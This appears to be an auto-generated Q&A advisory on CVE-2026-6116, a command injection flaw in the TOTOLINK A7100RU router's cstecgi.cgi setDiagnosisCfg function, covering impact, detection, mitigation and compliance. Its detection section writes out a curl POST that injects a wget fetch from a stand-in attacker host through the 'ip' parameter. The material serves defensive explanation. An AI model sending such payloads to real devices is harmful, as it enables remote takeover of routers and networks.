Can you explain this vulnerability to me?

The CVE-2026-6116 vulnerability affects the TOTOLINK A7100RU router, version 7.4cu.2313_b20191024. It is a command injection flaw located in the CGI script cstecgi.cgi, specifically in the function setDiagnosisCfg. The vulnerability arises because the user-supplied "ip" parameter is improperly sanitized before being used in a system command execution function.

An attacker can remotely send a crafted request with a malicious "ip" value that gets executed on the underlying operating system. This allows arbitrary OS command execution on the device, such as running commands like "wget" to download files or perform other actions.

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How can this vulnerability impact me? :

This vulnerability allows remote attackers to execute arbitrary system commands on the affected router without any authentication or user interaction.

• Attackers can take full control of the device, potentially leading to unauthorized access to the network.
• Malicious commands could be used to install malware, create backdoors, or disrupt network operations.
• Sensitive data passing through the router could be intercepted or manipulated.
• The overall security and integrity of the network environment could be severely compromised.

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How can this vulnerability be detected on my network or system? Can you suggest some commands?

This vulnerability can be detected by monitoring for suspicious POST requests to the endpoint /cgi-bin/cstecgi.cgi that include the "ip" parameter in the JSON body. Specifically, requests that attempt to inject OS commands via the "ip" parameter, such as commands like wget, indicate exploitation attempts.

A practical detection method is to capture and analyze HTTP POST traffic targeting /cgi-bin/cstecgi.cgi and look for unusual or unexpected commands embedded in the "ip" parameter.

Example command to detect such attempts using tcpdump and grep:

• tcpdump -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' | grep '/cgi-bin/cstecgi.cgi'

Alternatively, using curl to test the vulnerability by sending a crafted POST request with a malicious "ip" parameter can confirm if the system is vulnerable.

• curl -X POST http://[router_ip]/cgi-bin/cstecgi.cgi -H 'Content-Type: application/json' -d '{"ip":"; wget http://attacker_ip/testpoc;"}'

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What immediate steps should I take to mitigate this vulnerability?

Immediate mitigation steps include restricting access to the vulnerable CGI endpoint /cgi-bin/cstecgi.cgi to trusted networks only, such as by implementing firewall rules or access control lists.

Disabling or restricting the functionality of the setDiagnosisCfg function or the entire CGI Handler component, if possible, can prevent exploitation.

Monitoring and blocking suspicious POST requests containing the "ip" parameter with command injection payloads can reduce risk.

Applying any available firmware updates or patches from the vendor that address this vulnerability is strongly recommended once available.

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How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:

The vulnerability allows remote attackers to execute arbitrary system commands on the affected Totolink A7100RU router due to improper sanitization of the 'ip' parameter. This can lead to unauthorized access, data manipulation, or disruption of services.

Such unauthorized access and potential data breaches can negatively impact compliance with common standards and regulations like GDPR and HIPAA, which require protection of personal and sensitive data, ensuring confidentiality, integrity, and availability.

Exploitation of this vulnerability could result in exposure or alteration of sensitive information, thereby violating regulatory requirements for data security and privacy.

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